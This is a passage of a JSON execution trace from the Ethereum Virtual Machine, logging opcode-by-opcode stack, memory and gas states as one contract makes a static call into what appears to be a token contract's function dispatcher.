dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5276,"op":"PUSH1","gas":104746,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","978bbdb900000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5278,"op":"ADD","gas":104743,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e0","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","978bbdb900000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5279,"op":"PUSH1","gas":104740,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","978bbdb900000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5281,"op":"PUSH1","gas":104737,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","978bbdb900000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5283,"op":"MLOAD","gas":104734,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e4","0x20","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","978bbdb900000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5284,"op":"DUP1","gas":104731,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e4","0x20","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","978bbdb900000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5285,"op":"DUP4","gas":104728,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e4","0x20","0x1e0","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","978bbdb900000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5286,"op":"SUB","gas":104725,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e4","0x20","0x1e0","0x1e0","0x1e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","978bbdb900000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5287,"op":"DUP2","gas":104722,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e4","0x20","0x1e0","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","978bbdb900000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5288,"op":"DUP7","gas":104719,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e4","0x20","0x1e0","0x4","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","978bbdb900000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5289,"op":"GAS","gas":104716,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e4","0x20","0x1e0","0x4","0x1e0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","978bbdb900000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5290,"op":"STATICCALL","gas":104714,"gasCost":103080,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x978bbdb9","0x1e4","0x20","0x1e0","0x4","0x1e0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1990a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","978bbdb900000000000000000000000000000000000000000000000000000000","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":0,"op":"PUSH1","gas":102980,"gasCost":3,"depth":2,"stack":[],"memory":[]},{"pc":2,"op":"PUSH1","gas":102977,"gasCost":3,"depth":2,"stack":["0x80"],"memory":[]},{"pc":4,"op":"MSTORE","gas":102974,"gasCost":12,"depth":2,"stack":["0x80","0x40"],"memory":[]},{"pc":5,"op":"CALLVALUE","gas":102962,"gasCost":2,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6,"op":"DUP1","gas":102960,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7,"op":"ISZERO","gas":102957,"gasCost":3,"depth":2,"stack":["0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8,"op":"PUSH2","gas":102954,"gasCost":3,"depth":2,"stack":["0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11,"op":"JUMPI","gas":102951,"gasCost":10,"depth":2,"stack":["0x0","0x1","0x10"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":16,"op":"JUMPDEST","gas":102941,"gasCost":1,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":17,"op":"POP","gas":102940,"gasCost":2,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":18,"op":"PUSH1","gas":102938,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":20,"op":"CALLDATASIZE","gas":102935,"gasCost":2,"depth":2,"stack":["0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":21,"op":"LT","gas":102933,"gasCost":3,"depth":2,"stack":["0x4","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":22,"op":"PUSH2","gas":102930,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":25,"op":"JUMPI","gas":102927,"gasCost":10,"depth":2,"stack":["0x0","0x18d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":26,"op":"PUSH1","gas":102917,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":28,"op":"CALLDATALOAD","gas":102914,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":29,"op":"PUSH1","gas":102911,"gasCost":3,"depth":2,"stack":["0x978bbdb900000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":31,"op":"SHR","gas":102908,"gasCost":3,"depth":2,"stack":["0x978bbdb900000000000000000000000000000000000000000000000000000000","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":32,"op":"DUP1","gas":102905,"gasCost":3,"depth":2,"stack":["0x978bbdb9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":33,"op":"PUSH4","gas":102902,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x978bbdb9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":38,"op":"GT","gas":102899,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x978bbdb9","0x70a08231"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":39,"op":"PUSH2","gas":102896,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":42,"op":"JUMPI","gas":102893,"gasCost":10,"depth":2,"stack":["0x978bbdb9","0x0","0xe3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":43,"op":"DUP1","gas":102883,"gasCost":3,"depth":2,"stack":["0x978bbdb9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":44,"op":"PUSH4","gas":102880,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x978bbdb9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":49,"op":"GT","gas":102877,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x978bbdb9","0xa9059cbb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":50,"op":"PUSH2","gas":102874,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":53,"op":"JUMPI","gas":102871,"gasCost":10,"depth":2,"stack":["0x978bbdb9","0x1","0x8c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":140,"op":"JUMPDEST","gas":102861,"gasCost":1,"depth":2,"stack":["0x978bbdb9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":141,"op":"DUP1","gas":102860,"gasCost":3,"depth":2,"stack":["0x978bbdb9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":142,"op":"PUSH4","gas":102857,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x978bbdb9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":147,"op":"GT","gas":102854,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x978bbdb9","0x95d89b41"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":148,"op":"PUSH2","gas":102851,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":151,"op":"JUMPI","gas":102848,"gasCost":10,"depth":2,"stack":["0x978bbdb9","0x0","0xbd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":152,"op":"DUP1","gas":102838,"gasCost":3,"depth":2,"stack":["0x978bbdb9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":153,"op":"PUSH4","gas":102835,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x978bbdb9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":158,"op":"EQ","gas":102832,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x978bbdb9","0x95d89b41"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":159,"op":"PUSH2","gas":102829,"gasCost":3,"depth":2,"stack":["0x978bbdb9","0x0"],"memory":["00000000000000000000000000000000000000000000000000000